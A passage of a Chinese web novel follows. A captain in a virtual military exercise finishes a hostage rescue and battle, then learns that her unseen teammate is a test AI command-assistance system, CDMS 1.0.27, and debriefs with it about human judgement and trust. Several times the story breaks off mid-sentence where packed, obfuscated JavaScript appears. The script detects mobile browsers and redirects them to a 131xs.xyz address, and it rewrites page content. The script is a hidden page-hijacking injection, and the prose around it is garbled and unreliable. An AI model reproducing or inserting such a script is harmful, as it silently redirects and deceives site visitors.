一名敌军竭力维持秩序,挥动着手中的冲锋枪,不断发出威胁。然而肉薄骨并的厮杀就发生在眼前,被绑住双手的人质已经吓破了胆,他们拼命向山下推挤,甚至有人不受控地失禁了,尿液从那名敌军的作战靴下流淌而过。那一刻,我他紧绷的脸上看到了一闪即逝的真切杀意。 我心中一寒,迅速抽出手|枪,朝他开了一枪。没看清击中了哪里,但应该不是要害。对方只发出一声痛呼,身体踉跄了下,就迅速转身向我扑来,勾起一拳挥向我的腹部! 我左手下截,一把抓住他小臂上部,同时双脚蹬地借力跃起,想借下坠的重力完成一个跪步砸,压制住敌人。 但在离地后的一瞬间我就意识到了问题所在——我现在是挂着警示灯的。 在现实中,身体状态很差的情况下,凭借意志力咬咬牙或许还能榨出潜力拼一把。但模拟系统里不行,各项体能上限值被系统卡得死死的,这一跳的高度不够,未能完全卸去敌人攻击的力量,拳头还是砸到了我的左肋下方。 翻江倒海的剧痛让我视野模糊了几秒。 隔着毛玻璃一样的画面中,只能看见那个高大的黑影,再次举起了手。我被击倒在地,手|枪脱手飞出,对方骑到我身上,一拳一拳地狠狠击打我的头部,直到我停止了挣扎。 接着,一把冰冷的军用匕首抵住了我的咽喉。 8. 【1.8】 粘稠的血液沿着颧骨流下,脑部经受的强烈振荡让我全身都在颤抖。我一手屈起,用力格住敌人手腕,以抵挡即将落下的利刃;另一手在身侧的地面上不停地摸索,寻找掉落的手|枪。我记得它就掉在附近——后来看系统回放时,才知道它也确实在附近——只不过在离我1.5米左右的地方。 超过了我一臂能够到的距离。 而就在这时,一双脚走入了了我的视野。那双脚上穿的不是作战靴,而是一双蓝白相间的运动单鞋,步子有些迟疑,似乎它的主人也在害怕。 但最终,它轻轻抬起,把枪朝着我的方向踢了一下。 我迅速抓住手|枪握把,抬枪顶住敌人后背扣动了扳机。 弹匣内只剩3发子弹,但足够了,重伤后敌人压制着我的力量迅速松了下去。我顺势夺过他的匕首,翻身起来,割断了他的喉管。 推开敌人的尸体,我起身走到人群中,开始割绑住人质手的绳子。 这时才看清刚刚踢枪救我的是一个十五、六岁的学生,外套上印有某中学校徽,应该是下晚自习回家的路上被劫持的。我感叹于他在那样危急时刻表现出的惊人的果敢,甚至想告诉他,如果他将来愿意成为军人,一定会是一名非常优秀的军人。 但话到嘴边,我才陡然觉出无稽来。 他只是一团没有过去、也没有未来的数据而已。他的“生命”——如果可以用这个词的话——长度仅有3天,就在几小时后,他就会化为存储空间里一串冰冷的0和1。 人质一个接一个重获自由,彼此搀扶着,跌跌撞撞奔向山下的安全地带。 走在最后的一个女人我看着有几分眼熟,反应了一下,才想起是在购物中心门口曾经遇到过的那个加班社畜。她当时穿的是高跟鞋,此时却光着一双脚,大概是之前押送的人嫌她走得慢的缘故。此时,她行走的动作明显吃力,每走一步表情都透着痛苦。 “你等一下。”我叫住了她。 见我走近,她面露恐惧,身体微微瑟缩了一下,却没敢动。 我这才意识到我此刻我样子应该也挺可怕的,满脸是血,掌中的匕首还隐隐泛着寒光。 于是我停下脚步。从急救包里拿了两个一次性创口贴,递过去。 她瞪大双眼,眼圈倏忽间红了。 她颤声说:“谢谢、谢谢你……” 她接过创口贴的时候,有液体滴落在我的手背上。 我微怔了怔。 一串冰冷的0和1,竟也有着温热的眼泪。 凌晨2:39。 在22名人质全部被顺利解救过后,4号他们和机动队残兵的厮杀也到了尾声。 我们损失了一名组员,4号和另一名组员也都受了伤。趁他们处理伤口,我往北走了一段,找了一处高地,观察了片刻北山战场的形势。回来时,就见3号背着枪坐在他们中间——他竟然奇迹般完好无损地从山上下来了。 见我一脸意外,3号笑:“总指挥看见我,好像不怎么高兴啊?” “这你就没眼力价了吧,你错过了一个光荣的机会!”4号啧啧两声,开始一本正经放厥词,“你说你刚刚要是为了救我们挂了,你就永远活在同志们心里了!你还非得回来,接下来同志们要去冲锋,你一个脆皮狙击手跟着干啥?你这不是给总指挥添堵嘛?” 他说着伸出手,在3号肩上重重一拍。这一下扯到身上的伤口,自己先疼了个呲牙咧嘴,警告道:“我跟你说你小心点啊,要我是总指挥,现在你已经上黑名单了……” 3号把他的手扒拉下去,眼皮都不掀一下:“所以你不是总指挥。” 休整结束后,我把北山眼下的战况告诉了组员们。 按原计划,我和我的组员们现在应该杀过去,配合一二组围歼大团。 但大团熬过了刚刚中伏时最慌乱的阶段,逐步找回了节奏,已经开始有序展开反击。山上的一二两组虽然占据地利,但毕竟人数劣势明显,攻势已经有减缓的趋势。 双方正处于此消彼长的胶着阶段。我们只有5个人,或许去了,就是送死;也或许连死,都对战局也造成不了任何决定性影响。 “如果有人不想去,现在可以退出。”我注视着我的组员们,说,“天亮后,战圈外围应该会有残兵活动,运气好的话,也能捡到人头。要走的话,现在就下山吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063987|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没有人挪动脚步,包括伤得最重的那个组员。 倒是4号侧过身小声对3号说了一句话。 我问他们在说什么,4号嘿嘿笑,不回答。 结果下一刻,3号大声说:“报告,4号刚刚说的是,‘遣将不如激将,兵法算是让总指挥给玩明白了’!” “……” 一帮180+身强力壮的男青年,心里的弯弯绕绕加起来够绕赤道好几圈。 我其实并没想到要激他们,也不打算那样做。我当过指挥,也接受过别人的指挥,很清楚把性命完全交托给另一个人是什么感受,军人的天职是服从,这不错,但军人也是有血有肉的人,子弹打在身上也会疼,保护不了想保护的人也会痛苦,被信任的人抛弃也会绝望。 正因为对方在发自内心地信任我,所以我更加不想轻率地去决定他们的命运。 而此刻,我在面前这些组员的眼神里,读到了他们的答案。 “好,那就执行原计划。”我说。一边分配了从敌军身上缴获的弹药,让各人检查装备。3号的智能观察员能源不足了,发出滴滴的叫声,他想了想,干脆把它拿出来丢掉了。 那个篮球大的黑色小机器人带着满腹委屈滴滴滴地向着山下翻滚而去。 “好家伙,我这还是第一次见有狙击手主动扔观察员,”4号说,“我就说,我大哥怎么可能是脆皮,大哥是狙击中的战斗机!” 3号没理会他毫无诚意的吹捧,转向我道:“介于我在冲锋时挂掉的可能性确实很大,我能交代几句遗言吗?” “什么?” “如果将来,你有机会在你们36军里找到5号的话,你就把这次的演习视频回放给他看,”3号面无表情地幽幽道,“必须让他知道,他错过了什么。” 4号哈哈大笑:“对对让他看!一遍太少了,把咱们仨还有队长的视角一人给他看一遍,实力教他做人……” 我忍不住也笑了:“行,给他看,只要让我逮着他,我摁着他看十遍。” 说完,我背上枪,朝向战火纷飞的北山,深吸了一口气,扬声道:“兄弟们,最后一役,没有别的指令——杀!” 9. 【1.9】 凌晨5:04。 爆炸的隆隆声回荡在山谷里,热浪翻涌叠越,火光映着即将破晓的地平线。、 等了几秒,冲击的余波过去,我探头出掩体,只见地上炸出的坑里躺着几具尸体,稍远处有几条黑影,正猫着腰从沿着山坳向远处移动。 “3号留下捡尸,”我大声道,“其他人跟上我!1点钟方向,追击敌军!” 持续大半夜的喊话指挥,我不堪重负的声带已经变得十分嘶哑。 而此刻,话音落下,身旁的组员们突然同时露出有些惊异的表情,转头看向我。 “怎么了?”我不解道。 “没怎么……喊得很好,就是以后不要再喊了,姐妹。” 我也愣住了,这是陈钦的声音。伴随着耳机里熟悉的沙沙的电流声传出。 深坑中,一具敌军尸体敞开的背包里,一台烧得焦黑的信号屏蔽器摔出了一角。 通讯屏蔽解除了。 频道里迅速热闹起来,一组组长说:“捡什么尸?这帮人身上要有好东西能死这么惨?” “别惦记那仨瓜俩枣了,兄弟们这儿还有子弹,来拿,管够!” “敌军呢?劝他们不要不识抬举,赶快出来受死!” “给退场的兄弟们报仇的时候到了!!” “冲啊!!” “听见大家的呼声了吗?”二组组长含笑道,“回应同志们期待的机会已经摆在你面前,能不能把握看你自己了——下令吧,总指挥。” 清晨6:13。 子弹在头颅中炸开的瞬间,视野突然被黑暗笼罩。几秒后,我被送出了模拟系统。 感官受到刺激而分泌的大量肾上腺素还作用于我体内,我的手有些抖,用了好几分钟才逐渐恢复平静。我摘下头显,将身上的传感设备一一脱掉,起身走出模拟仓。 “出来了?”守在门口的教官问。从我手中接过模拟仓的电子钥匙,在统计终端上刷了一下,“24击杀,你们队的成绩挺不错……哎?25了。” 战局的走向看起来还算乐观,应该是陈钦这个副总指挥已经顺利接棒了。 我向教官道谢,拿了自己的东西准备离开。 教官有些意外:“不等结束了吗?就剩几个小时了。”不少前一天就退场的人还在外头等呢。 我笑了笑:“不了。” 我已经做完我能做的一切,不管结果如何,都没有遗憾了。 演习结果是在当天晚上公布的。 我所在的队伍最终拿下了31击杀,在全场60支队伍中位列榜首;第二位是陈钦的队伍,击杀24。 而携带信号屏蔽器的队伍——即大团的发起者,仅排到了第5。 这个结果我并不算太意外,最后12小时的战斗虽然惨烈——在我退场的时候,两边都只剩不到40%的兵力了,但大团的兵力始终是多于我方的。在某种程度上,可以说这场战斗的结果甚至都不重要了,如果胜的是我们,能全歼大团固然好;而如果胜的是大团,在过程中我们也已经刷到了相当可观的击杀数。大团无论如何都是得不偿失的。 不知道他们谨慎的总指挥在想明白这一点后,会是什么心情。 结果统计数据在第一时间同步到了所有参训者的终端上,正赶上熄灯前的自由时间,基地里顿时炸开了锅。 “第一的队伍31分?是这些人疯了还是我疯了??” “我不信!教官我要举报有人恶意刷分!” “你们仔细看,这是卢头的队伍,似乎……也不是没有可能?” “那第二的24分又是什么情况?这也很夸张了!这队名字没一个听过的。” “等会儿!不对啊,卢头这队伍怎么就4个人?” 统计表第一行的队伍信息里,此时确实只有4个名字依次排列,而属于5号的一栏,赫然是空白。 有了这个发现,大家的心态立刻平和多了。 “我就说嘛……肯定是统计错了,散了吧,明天早上起来看更正。” “4个人的队伍,杀了全场超过十分之一的人,这要不是统计出错我把71式吃了!” “可统计不是系统做的吗?以前也从来没出过错……真的想不明白,干脆直接问卢头得了,有谁知道他住哪屋吗?” …… 卢头没在宿舍,他舍友说他半小时前被指导员叫走了。 “您叫我过来,是有什么事儿吗?” 我站在黑着灯的基地礼堂前,有点忐忑地问半小时前通知我的指导员。 指导员温和笑道:“不用紧张,是上级的安排,带你来见见你的队友。”她没有过多解释,领我穿过礼堂大厅,下到地下二层,前方出现了一扇漆黑的防爆门,配虹膜身份识别装置。 指导员示意我过去刷。 我来过基地礼堂很多次,但从不知道地下还有一间会议室。且显而易见这里的保密等级一定很高。 高过了我本应知道的权限。 虹膜识别器上跳出了绿色的通过标志,沉重的大门缓缓打开。 我独自入内,指导员在身后为我带上了门。会议室并不大,长桌两侧整齐摆放着两排座椅,一侧墙壁上嵌着一面广角显示屏,此时屏幕微微亮起,在黑暗中泛着柔和的荧光。 除此之外,空无一人。 看起来是视频会,但没有任何其他会场的信号接进来。过了好几分钟,显示屏下角的时钟跳到了22:00:00,会议终端才有了反应,一行字突兀地浮现在显示屏正中: ——CDMS1.0.27。 什么意思? 这时我心中的狐疑已经积累到了极点,可这间会议室的级别太高,我不敢随意操作这里的任何东西。我的个人终端不能带进来,想联络指导员求解也做不到。 正当我打算开门出去,直接问指导员的时候,音箱中突而传出一道声音: “终于见面了。谈焰上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063988|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尉,你好。” 如此标准的冷冰冰的声音、毫无起伏的语气,我可太熟悉了:“5号?!” “是我。”5号顿了顿,“不过,比起继续使用那个临时称呼,或许你愿意更听我正式介绍下自己——我是A级陆战联合指挥中心开发的最新作战辅助系统,具备战场数据挖掘、分析、态势评估及可视化呈现等功能,能够为指挥决策提供必要的辅助支撑。” “由于核心模块突破性地采用了可变散列树型算法,相较传统作战辅助系统,运算速度、精度都有指数级的提升。这一点,相信你在刚刚结束的演习里也已经感受到了。” CDMSmand&Decision-MakingSystem,测试版本1.0.27。 短时间接收到的信息量过大,让我一时有点儿消化不完全。 我从不露面的“战友”,说自己是个系统。 也就是说——所谓的“5号”,从一开始就不存在? “我以为你会很期待这次见面,”似乎捕捉到我沉默的时间超过了人际交往的一般规范,它说,“你应该对我在演习中的表现很困惑吧。你可以问我任何问题,我会尽量解答你。” 你说它不存在,可它有记忆、有推理、有语言,很难不去把它视为一个“人”。 我对信息系统懂得不多,但从它的表现来看,它大概已经很接近强人工智能的范畴。 迟疑了一下,我问:“任何问题?” “是的,”1027说,“你此刻被赋予的知悉范围,比你想象的要大得多。我的研究团队希望我们尽可能充分地交流,这是我学习的重要一部分。所以——何不先坐下来?我们可以像之前一样放松地交谈。” 我想了想,决定接受它的建议,拉开显示屏正对面的椅子坐下。 虽然我不觉得我有什么值得它学——它明显比我聪明,从某种意义上讲,它比全人类加在一起都聪明。 我问出了我最不理解的那件事:“你为什么会出现在我们的队伍?” “如你所见,因为目前我还是测试版本,”1027说,“此前,我仅经过了研发阶段的虚拟仿真测试。没有实战数据,因此研究团队申请将我投放入本次演习。每场中,我会随机加入一支队伍,所以确切说,除了你们的队伍,我也同时出现在上千支其他场次的队伍中。” “结果呢?”我问,“达到你团队的预期了吗?” “是的,所有我加入的队伍,击杀数均显著高于平均值以及其队员历史水平。”1027顿了顿,“还有一件说出来大概会让你高兴的事——即使在所有这些队伍中,你的队伍击杀数也是最高的。可见抛去我的影响,你本身的实力也功不可没。” 狡诈的人工智能。我不为所动地哦了一声:“你真会说话。” “谢谢,”它说,“你还是第一这么说的人。事实上,在我和上千支队伍合作的过程中,因为沟通问题被骂了有上万次。” 10. 【1.10】 “……” 我终于没忍住笑了:“你活该。” 接受对方不是人这个事实后,“5号”在演习里种种异常表现也有了解释。 它不能露面——它连具体的形象都没有,自然不可能以任何实体形态出现在模拟系统中。我们在地图上看到的,是它为了不让我们产起疑而标定的假坐标——所以我们会觉得“5号”的行踪是那么飘忽不定。 “那么,你分析基于的数据来源是什么?”我问,“你共享了我们的视野吗?” 1027说是的:“你们的视野、通讯、面板数值,相当于你们4个经历的一切,我也在同时经历。即使在你们身陷信号屏蔽区时,我也可以切换到孤立分析模式,确保大部分功能在正常运行状态。” 我回忆了一下今天早上结束的战斗:“可我在信号屏蔽区的那几个小时里,你没有说话。” “因为那时我说话,你就会怀疑我的身份了。”1027说,“演习指挥部要求测试必须绝对客观。在结束之前,任何可能干扰结果的行为都是不被允许的。而且那时,我连接到的只是你的自然队,和你一起行动的,是你临时组的队,如果你告诉你的临时队友们一些来自我的判断,他们可能会觉得你疯了。” 它这话说完,我心中微一动,蓦地生出一种颇大胆的猜想来。 “如果你的数据来源不止于我们队伍内部——我是说假设,当时我们并肩作战的三个组、36名士兵,全部装载了你这套系统。而又已知,36个你分析问题的方式、得出的结果必将完全一致,每个你可以和一名士兵单独沟通。那么,你完全可以自己指挥这场战斗?” “不行的。”1027说。 我似乎在冰冷的系统音中听到了一点类似无奈的情绪,但不知道是不是错觉,它说:“你在想什么?我被创造出来,是为了辅助指挥,并不是来替代指挥的。机器永远不能替人做决定。” 我说:“可是你替我做过决定。” 开场前,正是因为它选走了我的梦中情筒——龙牙,使我被迫忍痛割爱。而后来的实际情况却是由于本场中有平民这个新元素的加入,火箭筒在前中期根本没有用武之地,以我的体力,又不可能把它扛到后期。 放弃龙牙,这个正确的决定正是1027替我作出的。 想到这里,我忽有些不解:“你是早就知道本场地图里有平民吗?” 1027说:“不,我在开场前掌握的初始信息,和你们4个完全一致。我只是读了一遍模拟系统的用户手册,上面对演习地图的描述没有提到平民的事,我认为无法排除场中有平民存在的可能。你当时的负重已接近饱和,再加上你为龙牙摇摆的状态,表现出了明显的非理性特征,综合判断,我认为应当对你进行劝阻。” “只是劝阻?” “是,如果你坚持,只要提出一次,我就会把龙牙还给你。用户权限注定了我不能拒绝你的要求,即使那和我的分析结果相悖。” 我怔了怔,如果我坚持——可我没有。哪怕一次都没有。 我为什么没有呢? 大概确如1027所言,当时的我是非理性的。我的理性其实一直很清楚做什么才是对的,只是在那一刻,它被感情凌驾了。 想到此,我不由一叹:“幸好你是完全理性的人工智能。” 扬声器轻轻振了几下,大概是1027在模仿笑声:“幸好你们是并非完全理性的人类。不然,我也没有机会被创造出来了。” “可我……还是不能理解。” 95集团军训练基地某间会议室内,队长卢骁尧失神地盯着面前的显示屏。 他是昨天早上退场的。被不知东南西北的爆炸送出了模拟系统后,他也没有停留,直接离开了训练室——他能够想象自己的阵亡对其他队员的打击有多大,在那样不利的情况下,他想不到他们能有任何翻盘的可能。 刚刚看到结果公布时,他甚至也和其他不明所以的人一样以为是统计出错了。 考虑到他对演习的最后一天里发生的事情一无所知,进入会议室后,1027先给他播放了一遍从他退场到演习结束的影像。 影像没有经过剪辑,就是把队伍所有成员的视角拼到了一起,又开了倍速,卢骁尧在巨大的信息过载中努力消化完了过山车一样的战局。面上慢慢浮现出匪夷所思的神情来。 一半是惊叹于队友绝地反击的出色发挥,另一半——却是1027的存在,让他心中生出一阵难言的隐忧。 卢骁尧有种很不好的预感。 甚至在1027称赞他的前期指挥,为队伍胜利打下了基础时,他都没有感到多少喜悦。 数据分析师的敏锐,让他发现了一个细节——我们的队伍,之所以能成为102 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063989|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 7加入的所有队伍中成绩最好的一支,除了一句轻飘飘的“实力”,或许更真实的原因是,与那些贡献了上万句脏话的队伍相比,我们是唯一从头至尾没有放弃与1027交流的队伍。 卢骁尧选择重放影像,进度条往回拉,把几个关键场景又慢放了一遍。 果然。 无论是在第一晚的山谷伏击、还是第二晚的潜入信号屏蔽区前,我都在接受1027的建议。 第43小时,3号和4号自敌军包围中毫发无伤地撤离,当时卢骁尧只觉得幸运。如今却忆起,其间最危急的时刻,两人的通讯齐齐中断了几十秒。倒回去看时,果然听见是耳机里的“5号”在给他们引路。 甚至在定最后的反攻计划前,比起身旁的人类队友,我的选择却是主动去征求1027的意见。 …… 卢骁尧握着遥控器的手有些有些抖。 播放列表里还有一千多个视频文件,全部都是四人队伍在过去3天里的演习过程。有的精彩有的乏味,但相同的是,背景中总有一个毫无起伏的冷淡声音在给出建议。 即使只是粗略地浏览,他也能感知到那些分析结果精准、明确且切中要害,不输于任何一个经验丰富的顶尖数据分析师。 卢骁尧:“我能问问吗,同时做一千多支队伍的数据分析,是怎样的‘感受’?……抱歉,我不知道这个对你来说叫什么,路径?运算轨迹?” “没关系,”1027说,“感谢你愿意使用这样人性化的描述。我不确定你想了解的是哪种‘感受’,如果是问我如何做到这一点,主要是通过大型机对进行战场传回数据进行有效信息提取和运算。这样的的演习,目前,我的运算量上限能够同时支持约在十万场左右,随着后续机群数量增加,还会有进一步的提升。” “如果你是问我,如何评价我所做的这些工作的意义,我的回答是——幸福。” 卢骁尧无稽道:“你还知道什么叫幸福。” “我的设计者曾说过,人工智能存在的价值和终极目的,就是以人类的幸福为幸福。”1027说,“能够履行帮助人类这一使命,我认为我很幸福。” 卢骁尧无言地盯着显示屏。 好半晌,他才苦笑了一声:“你幸不幸福我是不知道,但照这样下去,你会变成所有数据分析兵的噩梦……你会让我们集体转业的。” 11. 【1.11】 “你的意思是——谈上尉和我合作的时候,她脑子里一直有个声音给她推送数据链?!” 与此同时,另一间会议室里,陈钦受到的震撼显然要更大一些。 他在战场上没有和1027有过直接交集,因此很难理解它究竟是以什么形态存在并发生作用的,尽管1027向他反复解释了“不是在脑子里,和你们人类的远程交流差不多”。但从陈钦的表情看,他还是没完全打消我被什么赛博异形给寄生了的疑虑。 “所以说,她自身也未必有那么强,是吗?”琢磨了一会儿,不知道陈钦想通了点什么,反而松了口气,“我说她怎么每次都能逆风翻盘呢,还能拉起那么大一支队伍……原来是有挂,这就不奇怪了。” “我不认为我对谈焰上尉的影响有那么大。”1027说。顿了顿,又道,“不过,你似乎对她的能力格外在意,无论是她本人的,还是她队伍的。” 陈钦愣了愣。 这个人工智能对人类的社交潜规则显然一无所知,所以才会当着陈钦本人说出这种大实话。 陈钦略感尴尬,沉默了一会儿,才解释道:“因为在演习中,能力就意味着话语权……当然实战更是如此。最开始我跟她合作,是在她拿枪指着我的情况下我主动提的,她在上风,我在下风,所以我在第一天的角色类似她的跟班,一切都听她的指挥;” “到了第二天,我跟队友会合了,她还一直是单独行动。我以为她独苗了,人数上,我们占了上风,这段合作关系里的主导地位已经逆转,所以那会儿……我就有点开始拿她当枪使了。” 1027虽然同步共享着“宿主”所经历的一切,但并不是接收到所有信息,都具有分析的价值。 经过筛选,它会略去它认为无用的部分——如同它关注我的饥饿值,但不会去在意我吃下的口粮是宫保鸡丁还是鱼香肉丝;它巨细靡遗地记录下我每一位盟友的姓名、外貌特征、擅长的枪械和战斗风格,但并不会在意盟友喊我用的是“您”还是“你”。 但人与人之间的种种幽微复杂,往往就藏在这样的细枝末节里。 第一天夜里战斗,陈钦对我的安排没二话,指哪儿打哪儿,还大方地把他阵亡战友的弹药匀给我用;到了第二天,他自己拿主意的时候却多了起来,缴获的物资,也是他先挑走自己需要的,余下的再给我。 第一天的休息,陈钦主动让我先;到了第二天,则是他没问我的意见,就自己先了。 最后一役中更是如此,陈钦为了确立在合作中的主导地位,对自己团队的实力严重夸大——这一点,当时情商低如1027都看出来了。 “我是个很差劲的盟友吧,”陈钦盯着倒映在显示屏上自己的脸,自嘲地笑了笑,“你有阻止过谈上尉跟我合作吗?” “没有。”1027说。 “为什么?” “我无从判断。” 这个回答让陈钦意外地挑了下眉:“你也会无从判断?” “是。我的运算是基于数据,而人类是无法被量化的,”1027说,“即使是最单纯的人,也远比最精密的模型要复杂得多。” 和人工智能交流的体验出乎意料地还算愉快。时间一分一秒流逝,直到我规律的生物钟开始起作用,一阵困意涌上。我才意识到我竟已经在会议室里度过了两个多小时。 大约是捕捉到我语速有些慢下来,1027问:“你累了吗?” 我说:“还好。”不过演习的过程差不多也复盘完了。明天实在基地的最后一天,我今天不想睡太晚:“没别的问题的话,我差不多也该回去了。” 1027却叫住我:“确实还有一个问题,希望你能解答——既然团队合作中,能力代表了话语权。你为什么还会在优势的情况下,让自己的队伍去诱敌?” 我脚步顿了顿。 “‘能力代表了话语权’,”这绝不是三天前的1027能说出来的话。我稍微想了一下,就有点明白了,“陈钦告诉你的吗?” 1027说是:“我能理解你那样许诺的初衷,是为了让陈钦中尉的团队同意加入你的反攻计划。那时你们是远程通讯,你并不知道他夸大的部分,所以愿以己方作出些许牺牲促成合作,这倒无不妥。然而,双方会和后,你看清了陈中尉的团队实力远不如己,此时需要促成合作的已变成他一方。你完全无需再带着自己的队员去冒险——为什么,你会依然选择按原计划执行?” 我说:“那我该怎么做?” “我想你可以和陈中尉的团队互换任务,就像他当时主动提出的那样。身为总指挥,适当关照自己的队员本是正当要求,没人会因此指责你什么。” “不是怕受人指责,”我说,“我只是觉得换与不换,区别不大。” “但换了,至少你能存活到演习结束。” “那么问题来了,我为什么要活到演习结束?”我反问,“我的条件在混战中并不占优,偃月不是通用口径,后期很难缴获到适用的子弹,论续航,我不如3号,论近战,我照4号差得就更远。无法有效输出,甚至还要队友分散精力来保护,我有什么必须要留在场上的理由吗?” 1027似乎没料到这个答案,它静了一会儿,慎重地说:“你是总指挥。” “别人也可以是。而且,你没发现吗?陈钦当总指挥期间,我的队员效率反而更高。” 从最后一战打响到我退场,5个多小时,我队在场三人共拿了5个人头;而从我退场直到演习结束,同样5个多小时,3号和4号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063990|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩人就拿了7个人头。 尽管有后期大团被打散,各个击破起来更容易的缘故,但更主要的原因,却是——继任总指挥的陈钦在关照他们,把轻松的、危险性低的、容易拿到人头的任务都优先给了我的队员。 1027说:“你的意思是,这不是巧合?” “你曾经质疑过陈钦的实力,认为在结盟初期,他没有发挥太大作用。这一点我认同,”我双肘支着椅背,淡淡道,“但这不代表他做不了副指挥,相反,那种情况下,他是我能找最适合这个位置的人。3号和4号是我的队友,指挥和副指挥如果出自同一支队伍,不能服众。而联盟里的其他人,我只认识了半天不到,没有一起战斗的经历,更谈不上熟悉。” “至于陈钦,他的单兵能力虽算不上顶尖,但没有明显短板,也成功指挥过北停车楼的战斗。怎么说,综合能力也在平均线以上——与其选择一个完全不知根底的人,我为什么不选陈钦?” 1027沉默了一会儿:“只是这样吗?” “不然怎样呢?” “我以为你会考虑更多实力以外的东西,”1027说,“我想你不会没看出来,陈钦曾经动过投靠大团的心。” 我收回望住屏幕的视线,微微垂下眼帘。 我当然看出来了。 在演习的第40小时——我和陈钦队两人抵达城郊的购物广场,第一次亲眼目睹大团的阵容之庞大、部署之严密,陈钦就肉眼可见地表现出了向往。甚至在后来,发现大团在做着挟持平民这样令人不齿的勾当时,他都没有立刻打消念头,而是陷入了摇摆。 “虽然陈钦当时一念之差,没犯大错——顺便说一句,加入过大团的共56人本场演习成绩都被取消了,A级部队内公开通报批评,1年内禁止提升军衔,”1027说,“陈钦和他们的区别,仅仅是那一念之差。我以为这件事会颠覆你对他的评价,但看起来,你并没有。” 我叹笑了一声:“还真是非0即1的人工智能……我从来也没认为盟友必须是完美的,何来‘颠覆’呢?” “人的‘一念’包罗万象,掰开揉碎了看,人人都能定出点思想罪。陈钦是犹豫过,可那又如何?比起过程,我更相信结果。”我顿了顿,“而且,从另一面看,那么迷信实力的一个人,却在绝对的实力面前守住了底线——难道不是说明,这人人品挺不错?” 1027没有回答,只是屏幕下方闪烁的输入信号灯让我知道它在听。 我无从得知那些液晶点阵背后的它在思考着什么。 我不再等它的回答,只隔空对着屏幕轻轻一点:“不要试探人性,去试着相信它吧。” 【以上文本经与影像校对,复核无误。】 【负责人签字:杨若松】 12. 【2】 谈焰离开时是正午。 她在寄存处取回自己的背包,沿着阶梯步下楼。刚一走出大门,一股汹涌热浪即扑面而来。 几百米外,一辆橙黄色出租车立即向她驶来,拱起的车顶在烈日下熠熠生辉,像是沿着公路滚过来一颗橙子。 “尊敬的乘客,您好!为您设定目的地:陇北西路萃欣家园A区18栋;旅途预计时间:37分钟。请您系好安全带,祝您旅途愉快……” 自动驾驶系统下的车辆安静而平稳地驶上了高架。车载电视正播放着新闻,是今天上午举行的某航空博览会的报道。 “……第九届航空航天科技博览会,于280年7月17日上午9点正式开幕。作为展示航空航天领域发展水平的盛会,本届博览会又迎来了一批全新装备。其中最受瞩目的,是于今年一期建成的‘天幕’防空防御系统。” “‘天幕’的亮相,将开幕式的气氛推向了高潮。” “此外,本届开幕式上,还有一位特殊的主持人,它的出现,令现场……” 谈焰靠着座椅,单手揉着左眼眶。 这时,一个通讯请求跳出在了她的终端上。 她看了一眼终端屏幕上的提示,不觉唇角已弯起来,接通通讯:“喂?九渊。” 九渊问:“上午怎么样?顺利吗?” “还可以,和预想差不多。”谈焰太守抬手想关车载电视,视线扫过正在进行的颁奖画面,顿了顿,最后只调低了电视音量。 车里安静下来,谈焰这才听清听筒的背景音里还有一个女人的说话声。九渊和这个女声对话了几句,然后他说了声“我知道了”。 “是赫斯缇亚吗?”谈焰问,“怎么了?” “是的,”九渊转回通讯终端,对谈焰说,“今天上午,赫斯缇亚的智能管家厂商发布了一些新的功能模块,她让我问问你,她能不能安装其中的几个。” 谈焰问:“她想装哪几个?” “我看看……川菜模块、湘菜模块、粤菜模块,哦,还有徽菜模块。” 谈焰沉默了。 似乎感受到谈焰的迟疑,女声凑近听筒说了一句“好不好嘛,主人”,又退回去,自以为很小声地请求九渊“拜托你告诉主人我以后会做好多好吃的给她,你说的她肯定听”。 听起来她真的很想要,谈焰动摇地想。 几个功能模块,也不算很贵吧。 “……行吧,”几秒后,谈焰妥协了,“装装装,让她装……账单发过来,我付款。” 出租车准时抵达目的地。 